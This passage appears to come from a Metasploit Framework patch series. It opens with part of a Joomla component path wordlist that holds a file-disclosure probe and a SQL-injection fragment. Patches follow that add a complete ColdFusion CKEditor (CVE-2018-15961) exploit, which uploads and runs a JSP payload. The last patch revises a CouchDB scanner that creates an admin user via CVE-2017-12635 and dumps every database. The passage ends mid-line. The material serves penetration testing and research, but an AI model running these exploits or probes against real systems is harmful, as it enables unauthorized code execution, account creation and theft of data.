+components/com_sar_news/ +components/com_saxumastro/ +components/com_saxumnumerology/ +components/com_saxumpicker/ +components/com_sbsfile/ +components/com_scheduling/ components/com_school/ +components/com_schools/ +components/com_science/ components/com_search/ +components/com_searchlog/ +components/com_sebercart/ components/com_sebercart/getPic.php?p=[LFD]%00 +components/com_sectionex/ components/com_securityimages/ +components/com_seek/ components/com_sef/ components/com_seminar/ +components/com_serie/ +components/com_sermon/ +components/com_sermonspeaker/ +components/com_serverstat/ components/com_serverstat/install.serverstat.php +components/com_sexypolling/ +components/com_seyret/ components/com_sg/ +components/com_sgicatalog/ +components/com_shop/ +components/com_shoutbox/ +components/com_showdown/ +components/com_siirler/ +components/com_simgenealogy/ +components/com_simple/ components/com_simple_review/ components/com_simpleboard/ +components/com_simplecalendar/ +components/com_simpledownload/ components/com_simplefaq/ +components/com_simpleimageupload/ +components/com_simplemembership/ +components/com_simplephotogallery/ components/com_simpleshop/ +components/com_simpleswfupload/ +components/com_sitemap/ components/com_sitemap/sitemap.xml.php +components/com_slider/ components/com_slideshow/ +components/com_smartseller/ +components/com_smartshoutbox/ +components/com_smartsite/ +components/com_smestorage/ components/com_smf/ components/com_smf/smf.php +components/com_smslist/ +components/com_sobi2/ +components/com_soccerbet/ +components/com_socialads/ +components/com_socialpinboard/ +components/com_software/ +components/com_solidres/ +components/com_solution/ +components/com_some/ +components/com_soundset/ +components/com_spa/ +components/com_spain/ +components/com_spec/ +components/com_spidercalendar/ +components/com_spidercatalog/ +components/com_spiderfacebook/ +components/com_spiderfaq/ +components/com_spielothek/ +components/com_spmoviedb/ +components/com_sponsorwall/ +components/com_sportfusion/ +components/com_sportspredictions/ +components/com_spsnewsletter/ +components/com_sqlreport/ +components/com_squadmanagement/ +components/com_staffmaster/ +components/com_start/ +components/com_staticxt/ +components/com_store/ +components/com_storedirectory/ +components/com_streetguess/ +components/com_surveyforce/ +components/com_surveymanager/ +components/com_svmap/ +components/com_sweetykeeper/ +components/com_swmenufree4/ components/com_swmenupro/ +components/com_szallasok/ +components/com_tag/ +components/com_tariff/ +components/com_tax/ +components/com_teacher/ components/com_team/ +components/com_teamdisplay/ +components/com_teams/ +components/com_tech/ components/com_tech_article/ +components/com_techfolio/ +components/com_television/ components/com_thopper/ +components/com_threate/ components/com_thyme/ +components/com_ticketbook/ components/com_tickets/ +components/com_tienda/ +components/com_timereturns/ +components/com_timetable/ +components/com_timetrack/ components/com_tophotelmodule/ +components/com_topics/ +components/com_topmenu/ +components/com_tour/ components/com_tour_toto/ +components/com_tpdugg/ +components/com_tpjobs/ +components/com_trabalhe_conosco/ components/com_trade/ +components/com_trading/ +components/com_travelbook/ +components/com_tree/ +components/com_treeg/ +components/com_tsonymf/ +components/com_ttvideo/ +components/com_tupinambis/ +components/com_turtushout/ +components/com_tweetla/ +components/com_twitchtv/ components/com_uhp/ components/com_uhp2/ +components/com_ultimateportfolio/ +components/com_uniterevolution2/ +components/com_units/ +components/com_universal/ +components/com_upl/ +components/com_user/ components/com_user/controller.php +components/com_userbench/ +components/com_userextranet/ components/com_users/ +components/com_userstatus/ +components/com_utchat/ components/com_utchat/pfc/lib/pear/PHPUnit/GUI/Gtk.php components/com_vehiclemanager/ components/com_versioning / +components/com_versioning/ +components/com_videodb/ components/com_videodb/core/videodb.class.xml.php +components/com_videoflow/ +components/com_videogallery/ +components/com_videogallerylite/ +components/com_videos/ +components/com_videowhisper_2wvc/ +components/com_vikappointments/ +components/com_vikbooking/ +components/com_vikrealestate/ +components/com_vikrentcar/ +components/com_vikrentitems/ +components/com_virtualmoney/ components/com_virtuemart/ +components/com_visa/ +components/com_visualcalendar/ +components/com_vjdeo/ +components/com_vmap/ +components/com_voj/ components/com_volunteer/ components/com_vr/ +components/com_vxdate/ +components/com_wallpapers/ components/com_waticketsystem/ +components/com_wddownload/ +components/com_wdsubscriptions/ +components/com_webeecomment/ +components/com_weberpcustomer/ components/com_webhosting/ components/com_weblinks/ components/com_webring/ +components/com_webtv/ +components/com_wgpicasa/ +components/com_wines/ +components/com_wire_immogest/ +components/com_wisroyq/ +components/com_wmi/ +components/com_wmt_content_timeline/ components/com_wmtgallery/ +components/com_wmtpic/ components/com_wmtportfolio/ +components/com_wmtrssreader/ +components/com_worldrates/ +components/com_wrapper/ components/com_x-shop/ +components/com_xball/ +components/com_xcloner-backupandrestore/ +components/com_xcomp/ +components/com_xeslidegalfx/ components/com_xevidmegahd/ components/com_xewebtv/ components/com_xfaq/ +components/com_xgallery/ components/com_xgallery/helpers/img.php?file= +components/com_xmap/ +components/com_xmovie/ +components/com_xobbix/ components/com_xsstream-dm/ +components/com_xvs/ +components/com_yanc/ +components/com_ybggal/ +components/com_yellowpages/ +components/com_yelp/ +components/com_yjcontactus/ components/com_ynews/ +components/com_youtube/ +components/com_youtubegallery/ components/com_yvcomment/ +components/com_zcalendar/ +components/com_zelig/ +components/com_zhbaidumap/ +components/com_zhgooglemap/ +components/com_zhyandexmap/ +components/com_zimbcomment/ +components/com_zimbcore/ +components/com_zina/ +components/com_zoom/ components/com_zoom/classes/ +components/com_zoomportfolio/ +components/com_ztautolink/ +components/icom_nvitex/ components/mod_letterman/ components/remository/ eXtplorer/ easyblog/entry/uncategorized extplorer/ -components/com_mtree/img/listings/o/{id}.php where {id} includes/joomla.php index.php/404' index.php/?option=com_question&catID=21' and+1=0 union all From ed98fc8b713d966db89e6479ccbb334e5f99eaf2 Mon Sep 17 00:00:00 2001 From: h00die Date: Fri, 4 Jan 2019 21:53:25 -0500 Subject: [PATCH 172/220] update PR template to ask for unique branch --- .github/PULL_REQUEST_TEMPLATE.md | 2 ++ 1 file changed, 2 insertions(+) diff --git a/.github/PULL_REQUEST_TEMPLATE.md b/.github/PULL_REQUEST_TEMPLATE.md index 0bfaf31f8a7c..ea561c3ea122 100644 --- a/.github/PULL_REQUEST_TEMPLATE.md +++ b/.github/PULL_REQUEST_TEMPLATE.md @@ -2,6 +2,8 @@ Tell us what this change does. If you're fixing a bug, please mention the github issue number. +Please ensure you are submitting **from a unique branch** in your [repository](https://github.com/rapid7/metasploit-framework/pull/11086#issuecomment-445506416) to master in Rapid7's. + ## Verification List the steps needed to make sure this thing works From 4644ad89660d40f225056c493aeb26867c2de8d8 Mon Sep 17 00:00:00 2001 From: Qazeer Date: Sun, 6 Jan 2019 04:55:20 +0100 Subject: [PATCH 173/220] Add CVE-2018-15961 Adobe ColdFusion CKEditor unrestricted file upload --- .../http/coldfusion_ckeditor_file_upload.rb | 108 ++++++++++++++++++ 1 file changed, 108 insertions(+) create mode 100644 modules/exploits/multi/http/coldfusion_ckeditor_file_upload.rb diff --git a/modules/exploits/multi/http/coldfusion_ckeditor_file_upload.rb b/modules/exploits/multi/http/coldfusion_ckeditor_file_upload.rb new file mode 100644 index 000000000000..adfc7b256550 --- /dev/null +++ b/modules/exploits/multi/http/coldfusion_ckeditor_file_upload.rb @@ -0,0 +1,108 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + + include Msf::Exploit::Remote::HttpClient + + Rank = ExcellentRanking + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Adobe ColdFusion CKEditor unrestricted file upload', + 'Description' => %q{ + A file upload vulnerability in the CKEditor of Adobe ColdFusion 11 + (Update 14 and earlier), ColdFusion 2016 (Update 6 and earlier), and + ColdFusion 2018 (July 12 release) allows unauthenticated remote + attackers to upload and execute JSP files through the filemanager + plugin. + Tested on Adobe ColdFusion 2018. + }, + 'Author' => + [ + 'Pete Freitag de Foundeo', # Vulnerability discovery + 'Vahagn vah_13 Vardanian', # First public PoC + 'Qazeer' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ "CVE", "2018-15961" ], + [ "URL", "https://helpx.adobe.com/fr/security/products/coldfusion/apsb18-33.html" ] + ], + 'Privileged' => false, + 'Stance' => Msf::Exploit::Stance::Aggressive, + 'Platform' => ['win', 'linux'], + 'Targets' => + [ + [ 'Universal Linux Target', + { + 'Arch' => ARCH_JAVA, + 'Platform' => 'linux', + 'Payload' => + { + 'DisableNops' => true, + }, + } + ], + [ 'Universal Windows Target', + { + 'Arch' => ARCH_JAVA, + 'Platform' => 'win', + 'Payload' => + { + 'DisableNops' => true, + }, + } + ], + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => '11 septembre 2018' + )) + + register_options( + [ + OptString.new('CKEDITOR_DIR', [ false, 'The CKEditor path', '/cf_scripts/scripts/ajax/ckeditor' ]), + ]) + end + + def exploit + + filename = rand_text_alpha_upper(rand(10) + 1) + ".jsp" + + print_status("Uploading the JSP payload at #{datastore['CKEDITOR_DIR']}/plugins/filemanager/uploadedFiles/#{filename}...") + + mime = Rex::MIME::Message.new + mime.add_part(payload.encoded, "application/octet-stream", nil, "form-data; name=\"file\"; filename=\"#{filename}\"") + mime.add_part("path", "text/plain", nil, "form-data; name=\"path\"") + + post_str = mime.to_s + post_str.strip! + + res = send_request_cgi( + { + 'uri' => normalize_uri(datastore['CKEDITOR_DIR'], "plugins", "filemanager", "upload.cfm"), + 'version' => '1.1', + 'method' => 'POST', + 'ctype' => 'multipart/form-data; boundary=' + mime.bound, + 'data' => post_str, + }) + + if (res and res.code == 200) + print_good("Upload succeeded! Executing payload...") + + send_request_raw( + { + 'uri' => "#{datastore['CKEDITOR_DIR']}/plugins/filemanager/uploadedFiles/#{filename}", + 'method' => 'GET', + }, 5) + + handler + else + print_error("Upload Failed...") + return + end + end +end From c03466d2f27cbd1d5681a001db0123aa0cfa5bae Mon Sep 17 00:00:00 2001 From: Qazeer Date: Sun, 6 Jan 2019 14:31:37 +0100 Subject: [PATCH 174/220] Fixed date format issue and added Bugtraq ID --- modules/exploits/multi/http/coldfusion_ckeditor_file_upload.rb | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/modules/exploits/multi/http/coldfusion_ckeditor_file_upload.rb b/modules/exploits/multi/http/coldfusion_ckeditor_file_upload.rb index adfc7b256550..003302b2b75b 100644 --- a/modules/exploits/multi/http/coldfusion_ckeditor_file_upload.rb +++ b/modules/exploits/multi/http/coldfusion_ckeditor_file_upload.rb @@ -30,6 +30,7 @@ def initialize(info = {}) 'References' => [ [ "CVE", "2018-15961" ], + [ "BID", "105314" ], [ "URL", "https://helpx.adobe.com/fr/security/products/coldfusion/apsb18-33.html" ] ], 'Privileged' => false, @@ -59,7 +60,7 @@ def initialize(info = {}) ], ], 'DefaultTarget' => 0, - 'DisclosureDate' => '11 septembre 2018' + 'DisclosureDate' => 'Sep 11 2018' )) register_options( From a63c057c3a9e38a143ed3a1f9792e515ede67cf1 Mon Sep 17 00:00:00 2001 From: Qazeer Date: Sun, 6 Jan 2019 22:50:46 +0100 Subject: [PATCH 175/220] Integrate bcoles' comments (filename generation, conditional block improvement, etc.) --- .../http/coldfusion_ckeditor_file_upload.rb | 33 +++++++++---------- 1 file changed, 15 insertions(+), 18 deletions(-) diff --git a/modules/exploits/multi/http/coldfusion_ckeditor_file_upload.rb b/modules/exploits/multi/http/coldfusion_ckeditor_file_upload.rb index 003302b2b75b..305ff0498997 100644 --- a/modules/exploits/multi/http/coldfusion_ckeditor_file_upload.rb +++ b/modules/exploits/multi/http/coldfusion_ckeditor_file_upload.rb @@ -65,15 +65,14 @@ def initialize(info = {}) register_options( [ - OptString.new('CKEDITOR_DIR', [ false, 'The CKEditor path', '/cf_scripts/scripts/ajax/ckeditor' ]), + OptString.new('TARGETURI', [ false, 'The CKEditor path', '/cf_scripts/scripts/ajax/ckeditor' ]), ]) end def exploit + filename = rand_text_alpha_upper(1..10) + '.jsp' - filename = rand_text_alpha_upper(rand(10) + 1) + ".jsp" - - print_status("Uploading the JSP payload at #{datastore['CKEDITOR_DIR']}/plugins/filemanager/uploadedFiles/#{filename}...") + print_status("Uploading the JSP payload at #{datastore['TARGETURI']}/plugins/filemanager/uploadedFiles/#{filename}...") mime = Rex::MIME::Message.new mime.add_part(payload.encoded, "application/octet-stream", nil, "form-data; name=\"file\"; filename=\"#{filename}\"") @@ -84,26 +83,24 @@ def exploit res = send_request_cgi( { - 'uri' => normalize_uri(datastore['CKEDITOR_DIR'], "plugins", "filemanager", "upload.cfm"), + 'uri' => normalize_uri(datastore['TARGETURI'], "plugins", "filemanager", "upload.cfm"), 'version' => '1.1', 'method' => 'POST', 'ctype' => 'multipart/form-data; boundary=' + mime.bound, 'data' => post_str, }) - if (res and res.code == 200) - print_good("Upload succeeded! Executing payload...") + unless (res && res.code == 200) + fail_with Failure::Unknown, 'Upload Failed...' + end - send_request_raw( - { - 'uri' => "#{datastore['CKEDITOR_DIR']}/plugins/filemanager/uploadedFiles/#{filename}", - 'method' => 'GET', - }, 5) + print_good("Upload succeeded! Executing payload...") - handler - else - print_error("Upload Failed...") - return - end + send_request_cgi( + { + 'uri' => "#{datastore['TARGETURI']}/plugins/filemanager/uploadedFiles/#{filename}", + 'method' => 'GET' + }, 5) + end -end +end \ No newline at end of file From 3a726554e9b084acc5a3e12bc4497f41fc58c0fb Mon Sep 17 00:00:00 2001 From: William Vu Date: Mon, 7 Jan 2019 11:18:19 -0600 Subject: [PATCH 176/220] Fix review comments --- .../auxiliary/scanner/couchdb/couchdb_enum.md | 215 ++++++------------ .../auxiliary/scanner/couchdb/couchdb_enum.rb | 208 +++++++++-------- 2 files changed, 170 insertions(+), 253 deletions(-) diff --git a/documentation/modules/auxiliary/scanner/couchdb/couchdb_enum.md b/documentation/modules/auxiliary/scanner/couchdb/couchdb_enum.md index e08d2a20fb91..6a76dc4f9f9d 100644 --- a/documentation/modules/auxiliary/scanner/couchdb/couchdb_enum.md +++ b/documentation/modules/auxiliary/scanner/couchdb/couchdb_enum.md @@ -3,7 +3,7 @@ Apache CouchDB is a nosql database server which communicates over HTTP. This module will enumerate the server and databases hosted on it. The following was done on Ubuntu 16.04, and is largely base on [1and1.com](https://www.1and1.com/cloud-community/learn/database/couchdb/install-and-use-couchdb-on-ubuntu-1604/): - + 1. `sudo apt install software-properties-common` 2. `sudo add-apt-repository ppa:couchdb/stable` 3. `sudo apt update` @@ -20,156 +20,77 @@ The following was done on Ubuntu 16.04, and is largely base on [1and1.com](https ## Options - **serverinfo** + **SERVERINFO** - If set to true, the server info will also enumerated and set in msf's DB. Defaults to `false` + If set to `true`, the server info will also enumerated and set in msf's DB. Defaults to `false`. - **createuser** + **CREATEUSER** - If set to true, the server info will attempt to create an account in CouchDB using configured credentials (limited to CVE-2017-12635 conditions). Defaults to `false` + If set to `true`, the server info will attempt to create an account in CouchDB using configured credentials (limited to CVE-2017-12635 conditions). Defaults to `false`. ## Scenarios - A run against the configuration from these docs - - ``` - msf5 auxiliary(scanner/afp/afp_login) > use auxiliary/scanner/couchdb/couchdb_enum - msf5 auxiliary(scanner/couchdb/couchdb_enum) > set rhosts 1.1.1.1 - rhosts => 1.1.1.1 - msf5 auxiliary(scanner/couchdb/couchdb_enum) > set verbose true - verbose => true - msf5 auxiliary(scanner/couchdb/couchdb_enum) > run - - [+] 1.1.1.1:5984 { - "couchdb": "Welcome", - "uuid": "6f08e89795bd845efc6c2bf3d57799e5", - "version": "1.6.1", - "vendor": { - "version": "16.04", - "name": "Ubuntu" - } +Dumping databases with `SERVERINFO` and `CREATEUSER` set: + +``` +msf5 > use auxiliary/scanner/couchdb/couchdb_enum +msf5 auxiliary(scanner/couchdb/couchdb_enum) > options + +Module options (auxiliary/scanner/couchdb/couchdb_enum): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + CREATEUSER false yes Create Administrative user + HttpPassword IJvoGDWAWzQo yes CouchDB Password + HttpUsername CQuXQnVwQAow yes CouchDB Username + Proxies no A proxy chain of format type:host:port[,type:host:port][...] + RHOSTS yes The target address range or CIDR identifier + ROLES _admin yes CouchDB Roles + RPORT 5984 yes The target port (TCP) + SERVERINFO false yes Print server info + SSL false no Negotiate SSL/TLS for outgoing connections + TARGETURI /_all_dbs yes Path to list all the databases + VHOST no HTTP server virtual host + +msf5 auxiliary(scanner/couchdb/couchdb_enum) > set rhosts 127.0.0.1 +rhosts => 127.0.0.1 +msf5 auxiliary(scanner/couchdb/couchdb_enum) > set serverinfo true +serverinfo => true +msf5 auxiliary(scanner/couchdb/couchdb_enum) > set createuser true +createuser => true +msf5 auxiliary(scanner/couchdb/couchdb_enum) > set verbose true +verbose => true +msf5 auxiliary(scanner/couchdb/couchdb_enum) > check + +[+] 127.0.0.1:5984 - Found CouchDB version 2.1.0 +[*] 127.0.0.1:5984 - The target appears to be vulnerable. +msf5 auxiliary(scanner/couchdb/couchdb_enum) > run + +[+] 127.0.0.1:5984 - Found CouchDB version 2.1.0 +[+] 127.0.0.1:5984 - User CQuXQnVwQAow created with password IJvoGDWAWzQo. Connect to http://127.0.0.1:5984/_utils/ to login. +[+] 127.0.0.1:5984 - { + "couchdb": "Welcome", + "version": "2.1.0", + "features": [ + "scheduler" + ], + "vendor": { + "name": "The Apache Software Foundation" } - [*] #{peer} Enumerating Databases... - [+] 1.1.1.1:5984 Databases: - - [ - "_replicator", - "_users" - ] - - [+] 1.1.1.1:5984 File saved in: /root/.msf4/loot/20180721105522_default_1.1.1.1_couchdb.enum_888970.bin - - msf5 auxiliary(scanner/couchdb/couchdb_enum) > services - Services - ======== - - host port proto name state info - ---- ---- ----- ---- ----- ---- - 1.1.1.1 5984 tcp couchdb open HTTP/1.1 200 OK - Server: CouchDB/1.6.1 (Erlang OTP/18) - Date: Sat, 21 Jul 2018 14:54:45 GMT - Content-Type: text/plain; charset=utf-8 - Content-Length: 127 - Cache-Control: must-revalidate - - {"couchdb":"Welcome","uuid":"6f08e89795bd845efc6c2bf3d57799e5","version":"1.6.1","vendor":{"version":"16.04","name":"Ubuntu"}} - - Standard versus with credential creation - ======================================== - msf > use auxiliary/scanner/couchdb/couchdb_enum - msf auxiliary(scanner/couchdb/couchdb_enum) > set rhost localhost - rhost => localhost - msf auxiliary(scanner/couchdb/couchdb_enum) > exploit - - [*] localhost:5984 Enumerating Databases... - [+] localhost:5984 Databases: - - [ - "_global_changes", - "_metadata", - "_replicator", - "_users", - "passwords", - "simpsons" - ] - - [+] localhost:5984 File saved in: /root/.msf4/loot/20180915211454_default_1_couchdb.enum_214468.bin - [-] Error retrieving database. Consider providing credentials. - [*] Auxiliary module execution completed - - msf auxiliary(scanner/couchdb/couchdb_enum) > set createuser true - createuser => true - msf auxiliary(scanner/couchdb/couchdb_enum) > exploit - - [+] Found CouchDB version 2.0.0 - [+] User mlmUdhNZzDlI created with password password. Connect to http://localhost:5984/_utils/ to login. - [*] localhost:5984 Enumerating Databases... - [+] localhost:5984 Databases: - - [ - "_global_changes", - "_metadata", - "_replicator", - "_users", - "passwords", - "simpsons" - ] - - [+] localhost:5984 File saved in: /root/.msf4/loot/20180915194926_default_1_couchdb.enum_131803.bin - [+] localhost:5984 _global_changes saved in: /root/.msf4/loot/20180915194926_default_1_couchdb._global__824779.bin - [+] localhost:5984 _metadata saved in: /root/.msf4/loot/20180915194926_default_1_couchdb._metadat_584893.bin - [+] localhost:5984 _replicator saved in: /root/.msf4/loot/20180915194926_default_1_couchdb._replica_443706.bin - [+] localhost:5984 _users saved in: /root/.msf4/loot/20180915194926_default_1_couchdb._users_870736.bin - [+] localhost:5984 passwords saved in: /root/.msf4/loot/20180915194926_default_1_couchdb.password_458174.bin - [+] localhost:5984 simpsons saved in: /root/.msf4/loot/20180915194926_default_1_couchdb.simpsons_842642.bin - [*] Auxiliary module execution completed - - msf auxiliary(scanner/couchdb/couchdb_enum) > set httpusername mlmUdhNZzDlI - httpusername => mlmUdhNZzDlI - msf auxiliary(scanner/couchdb/couchdb_enum) > set httppassword password - httppassword => password - msf auxiliary(scanner/couchdb/couchdb_enum) > show options - - Module options (auxiliary/scanner/couchdb/couchdb_enum): - - Name Current Setting Required Description - ---- --------------- -------- ----------- - CREATEUSER true yes Create Administrative user - - HttpPassword password yes CouchDB Password - HttpUsername mlmUdhNZzDlI yes CouchDB Username - Proxies no A proxy chain of format type:host:port[,type:host:port][...] - RHOST localhost yes CouchDB Host - ROLES _admin yes CouchDB Roles - RPORT 5984 yes CouchDB Port - SERVERINFO false yes Print server info - SSL false no Negotiate SSL/TLS for outgoing connections - TARGETURI /_all_dbs yes Path to list all the databases - VHOST no HTTP server virtual host - - msf auxiliary(scanner/couchdb/couchdb_enum) > set createuser false - createuser => false - msf auxiliary(scanner/couchdb/couchdb_enum) > exploit - - [*] localhost:5984 Enumerating Databases... - [+] localhost:5984 Databases: - - [ - "_global_changes", - "_metadata", - "_replicator", - "_users", - "passwords", - "simpsons" - ] - - [+] localhost:5984 File saved in: /root/.msf4/loot/20180915211215_default_1_couchdb.enum_460766.bin - [+] localhost:5984 _global_changes saved in: /root/.msf4/loot/20180915211215_default_1_couchdb._global__821328.bin - [+] localhost:5984 _metadata saved in: /root/.msf4/loot/20180915211215_default_1_couchdb._metadat_410831.bin - [+] localhost:5984 _replicator saved in: /root/.msf4/loot/20180915211215_default_1_couchdb._replica_599375.bin - [+] localhost:5984 _users saved in: /root/.msf4/loot/20180915211216_default_1_couchdb._users_827774.bin - [+] localhost:5984 passwords saved in: /root/.msf4/loot/20180915211216_default_1_couchdb.password_361950.bin - [+] localhost:5984 simpsons saved in: /root/.msf4/loot/20180915211217_default_1_couchdb.simpsons_138031.bin - [*] Auxiliary module execution completed - msf auxiliary(scanner/couchdb/couchdb_enum) > - - ``` +} +[*] 127.0.0.1:5984 - Enumerating Databases... +[+] 127.0.0.1:5984 - Databases: + +[ + "_global_changes", + "_replicator", + "_users" +] + +[+] 127.0.0.1:5984 - File saved in: /Users/wvu/.msf4/loot/20190107125002_default_127.0.0.1_couchdb.enum_790231.bin +[+] 127.0.0.1:5984 - _global_changes saved in: /Users/wvu/.msf4/loot/20190107125002_default_127.0.0.1_couchdb._global__841794.bin +[+] 127.0.0.1:5984 - _replicator saved in: /Users/wvu/.msf4/loot/20190107125002_default_127.0.0.1_couchdb._replica_022445.bin +[+] 127.0.0.1:5984 - _users saved in: /Users/wvu/.msf4/loot/20190107125002_default_127.0.0.1_couchdb._users_671128.bin +[*] Auxiliary module execution completed +msf5 auxiliary(scanner/couchdb/couchdb_enum) > +``` diff --git a/modules/auxiliary/scanner/couchdb/couchdb_enum.rb b/modules/auxiliary/scanner/couchdb/couchdb_enum.rb index 64e057315c72..eecec477469e 100644 --- a/modules/auxiliary/scanner/couchdb/couchdb_enum.rb +++ b/modules/auxiliary/scanner/couchdb/couchdb_enum.rb @@ -9,34 +9,35 @@ class MetasploitModule < Msf::Auxiliary def initialize(info = {}) super(update_info(info, - 'Name' => 'CouchDB Enum Utility', - 'Description' => %q{ + 'Name' => 'CouchDB Enum Utility', + 'Description' => %q{ This module enumerates databases on CouchDB using the REST API (without authentication by default). }, - 'References' => + 'References' => [ - ['URL', 'https://wiki.apache.org/couchdb/HTTP_database_API'], - ['CVE','2017-12635'], - ['URL','https://cve.mitre.org/cgi-bin/cvename.cgi?name=2017-12635'], - ['URL','https://justi.cz/security/2017/11/14/couchdb-rce-npm.html'] + ['CVE', '2017-12635'], + ['URL', 'https://justi.cz/security/2017/11/14/couchdb-rce-npm.html'], + ['URL', 'https://wiki.apache.org/couchdb/HTTP_database_API'] ], - 'Author' => [ 'Roberto Soares Espreto ', - 'Hendrik Van Belleghem - @hendrikvb', # Database dump enhancements - 'Green-m ' # Portions from apache_couchdb_cmd_exec.rb used - ], - 'License' => MSF_LICENSE + 'Author' => + [ + 'Max Justicz', # Vulnerability discovery + 'Roberto Soares Espreto ', # Metasploit module + 'Hendrik Van Belleghem', # (@hendrikvb) Database dump enhancements + 'Green-m ' # Portions from apache_couchdb_cmd_exec.rb used + ], + 'License' => MSF_LICENSE )) register_options( [ + Opt::RPORT(5984), OptString.new('TARGETURI', [true, 'Path to list all the databases', '/_all_dbs']), - OptBool.new('SERVERINFO', [true, 'Print server info']), - OptBool.new('CREATEUSER', [true, 'Create Administrative user - ']), - OptString.new('HttpUsername', [true, 'CouchDB Username', Rex::Text.rand_text_alpha(12,"")]), - OptString.new('HttpPassword', [true, 'CouchDB Password', 'password']), - OptString.new('RPORT', [true, 'CouchDB Port', '5984']), - OptString.new('RHOST', [true, 'CouchDB Host', '']), + OptBool.new('SERVERINFO', [true, 'Print server info', false]), + OptBool.new('CREATEUSER', [true, 'Create Administrative user', false]), + OptString.new('HttpUsername', [true, 'CouchDB Username', Rex::Text.rand_text_alpha(12)]), + OptString.new('HttpPassword', [true, 'CouchDB Password', Rex::Text.rand_text_alpha(12)]), OptString.new('ROLES', [true, 'CouchDB Roles', '_admin']) ]) @@ -51,9 +52,8 @@ def get_version begin res = send_request_cgi( - 'uri' => normalize_uri("/"), - 'method' => 'GET', - 'authorization' => @auth + 'uri' => '/', + 'method' => 'GET' ) rescue Rex::ConnectionError vprint_bad("#{peer} - Connection failed") @@ -61,7 +61,7 @@ def get_version end unless res - vprint_bad("#{peer} - No response, check if it is CouchDB. ") + vprint_bad("#{peer} - No response, check if it is CouchDB.") return false end @@ -83,149 +83,145 @@ def get_version end vprint_warning("#{peer} - Version not found") - return true + true end def check - get_version + return Exploit::CheckCode::Unknown unless get_version version = Gem::Version.new(@version) - return CheckCode::Unknown if version.version.empty? - vprint_status "Found CouchDB version #{version}" + return Exploit::CheckCode::Unknown if version.version.empty? + vprint_good("#{peer} - Found CouchDB version #{version}") - return CheckCode::Appears if version < Gem::Version.new('1.7.0') || version.between?(Gem::Version.new('2.0.0'), Gem::Version.new('2.1.0')) + return Exploit::CheckCode::Appears if version < Gem::Version.new('1.7.0') || version.between?(Gem::Version.new('2.0.0'), Gem::Version.new('2.1.0')) - CheckCode::Safe + Exploit::CheckCode::Safe end def get_dbs(auth) begin res = send_request_cgi( - 'uri' => normalize_uri(target_uri.path), - 'method' => 'GET'#, - #'authorization' => auth + 'uri' => normalize_uri(target_uri.path), + 'method' => 'GET' ) temp = JSON.parse(res.body) rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, JSON::ParserError => e - print_error("#{peer} The following Error was encountered: #{e.class}") + print_error("#{peer} - The following Error was encountered: #{e.class}") return end - if valid_response(res) - print_status("#{peer} Enumerating Databases...") - results = JSON.pretty_generate(temp) - print_good("#{peer} Databases:\n\n#{results}\n") - path = store_loot( - 'couchdb.enum', - 'application/json', - rhost, - results, - 'CouchDB Databases' - ) + unless valid_response(res) + print_error("#{peer} - Unable to enum, received \"#{res.code}\"") + return + end - print_good("#{peer} File saved in: #{path}") - res.get_json_document.each do |db| - res = send_request_cgi( - 'uri' => normalize_uri(target_uri.path, "/#{db}/_all_docs?include_docs=true&attachments=true"), - 'method'=> 'GET', - 'authorization' => auth - ) - if res.code != 200 - print_bad("Error retrieving database. Consider providing credentials.") - return - end - temp = JSON.parse(res.body) - results = JSON.pretty_generate(temp) - path = store_loot( - "couchdb.#{db}", - "application/json", - rhost, - results, - "CouchDB Databases" - ) - print_good("#{peer} #{db} saved in: #{path}") - end - else - print_error("#{peer} Unable to enum, received \"#{res.code}\"") + print_status("#{peer} - Enumerating Databases...") + results = JSON.pretty_generate(temp) + print_good("#{peer} - Databases:\n\n#{results}\n") + path = store_loot( + 'couchdb.enum', + 'application/json', + rhost, + results, + 'CouchDB Databases' + ) + + print_good("#{peer} - File saved in: #{path}") + res.get_json_document.each do |db| + r = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, "/#{db}/_all_docs"), + 'method'=> 'GET', + 'authorization' => auth, + 'vars_get' => {'include_docs' => 'true', 'attachments' => 'true'} + ) + if r.code != 200 + print_bad("#{peer} - Error retrieving database. Consider providing credentials or setting CREATEUSER and rerunning.") + return + end + temp = JSON.parse(r.body) + results = JSON.pretty_generate(temp) + path = store_loot( + "couchdb.#{db}", + "application/json", + rhost, + results, + "CouchDB Databases" + ) + print_good("#{peer} - #{db} saved in: #{path}") end end def get_server_info(auth) begin res = send_request_cgi( - 'uri' => '/', - 'method' => 'GET', - 'authorization' => auth + 'uri' => '/', + 'method' => 'GET' ) temp = JSON.parse(res.body) rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, JSON::ParserError => e - print_error("#{peer} The following Error was encountered: #{e.class}") + print_error("#{peer} - The following Error was encountered: #{e.class}") return end - if valid_response(res) - # Example response: {"couchdb":"Welcome","uuid":"6f08e89795bd845efc6c2bf3d57799e5","version":"1.6.1","vendor":{"version":"16.04","name":"Ubuntu"}} - - print_good("#{peer} #{JSON.pretty_generate(temp)}") - report_service( - host: rhost, - port: rport, - name: 'couchdb', - proto: 'tcp', - info: res.body - ) - else - print_error("#{peer} Unable to enum, received \"#{res.code}\"") + unless valid_response(res) + print_error("#{peer} - Unable to enum, received \"#{res.code}\"") + return end + + # Example response: {"couchdb":"Welcome","uuid":"6f08e89795bd845efc6c2bf3d57799e5","version":"1.6.1","vendor":{"version":"16.04","name":"Ubuntu"}} + + print_good("#{peer} - #{JSON.pretty_generate(temp)}") + report_service( + host: rhost, + port: rport, + name: 'couchdb', + proto: 'tcp', + info: res.body + ) end def create_user username = datastore['HttpUsername'] password = datastore['HttpPassword'] - rport = datastore['RPORT'] - rhost = datastore['RHOST'] roles = datastore['ROLES'] timeout = datastore['TIMEOUT'] - uripath = datastore['URIPATH'] version = @version - data = "{ -\"type\": \"user\", -\"name\": \"#{username}\", -\"roles\": [\"#{roles}\"], -\"roles\": [], -\"password\": \"#{password}\" -}" + data = %Q({ +"type": "user", +"name": "#{username}", +"roles": ["#{roles}"], +"roles": [], +"password": "#{password}" +}) res = send_request_cgi( - { 'uri' => "http://#{rhost}:#{rport}/_users/org.couchdb.user:#{username}", # http://hostname:port/_users/org.couchdb.user:username + { 'uri' => 